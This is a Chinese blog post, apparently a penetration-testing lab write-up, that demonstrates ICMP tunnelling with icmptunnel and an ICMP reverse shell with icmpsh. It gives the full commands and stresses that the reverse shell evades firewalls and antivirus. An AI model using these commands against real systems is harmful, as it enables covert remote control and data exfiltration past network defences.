初探ICMP隧道


ICMP隧道也不是什么新奇的技术了,但是在某些渗透测试场景下可以说是一种挺骚的操作,其产生的畸形网络流量可以用于逃避防火墙的规则,这里仅拿两种应用方式演示,不具体讨论ICMP协议,还不知道ICMP是啥的可以先百度了解一下。

ICMP隧道传输

测试环境

客户端IP:192.168.10.234 (kali linux)
服务端IP:192.168.10.107 (kali linux)

用到icmptunnel这款工具
git clone https://github.com/DhavalKapil/icmptunnel

服务端

编译工具make
启动隧道icmptunnel -s 10.0.1.1(下图ip打错了)

可以发现变化路由表的变化route -n

客户端

编译工具make
修改client.sh

server服务端ip,gateway网关,interface对应网卡接口。
如这里改为route add -host 192.168.10.107 gw 192.168.10.1 dev eth0
建立隧道icmptunnel -c 192.168.10.107

此时可以看到路由表的变化route -n

可以发现出去的流量都走这个隧道。
开百度测试了一下,速度还可以接受,同时进行抓包。

可以看到icmp包异常的多,且长度也很长,有些还可以看到有http的请求信息。


总体架构
搬一下作者的架构图

1
2
3
4
5
6
+--------------+                                    +------------+                 +------------+
| | IP traffic +------+ IP traffic | | ICMP traffic | | IP traffic +------+ NAT/Masquerading
| User | ---------> | tun0 | ---------> | icmptunnel | --------------->| icmptunnel | ------------> | tun0 | --------------------->
| Applications | <--------- +------+ <--------- | program | <---------------| program | <------------ +------+ <---------------------
| | (Virtual Interface) | (client) | restricted | (server) | (Virtual Interface) proper internet
+--------------+ +------------+ internet +------------+

ICMP隧道命令控制–反向shell

将攻击payload放在icmp报文中能达到很好的隐藏效果。

测试环境

攻击机IP:192.168.10.234 (kali linux)
受害机IP:192.168.10.155 (windows10)

用到icmpsh这款工具
git clone https://github.com/inquisb/icmpsh.git

攻击过程

攻击机执行sysctl -w net.ipv4.icmp_echo_ignore_all=1关闭ping回复,防止内核响应ping包,否则可能接收不到完整的回传数据。
然后监听即可python icmpsh_m.py 192.168.10.234 192.168.10.155
和一般的反弹shell不一样的是需要指定目标的ip。

受害机执行icmpsh.exe -t 192.168.10.155即可。

同样的可以看到通信的数据都在icmp包中。

测试过程中,受害主机是开着管家的,没有任何的风险提示,可以看到隐蔽性是很好的。

文章作者: SNCKER
文章链接: https://sncker.github.io/blog/2020/10/15/初探ICMP隧道/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SNCKER's blog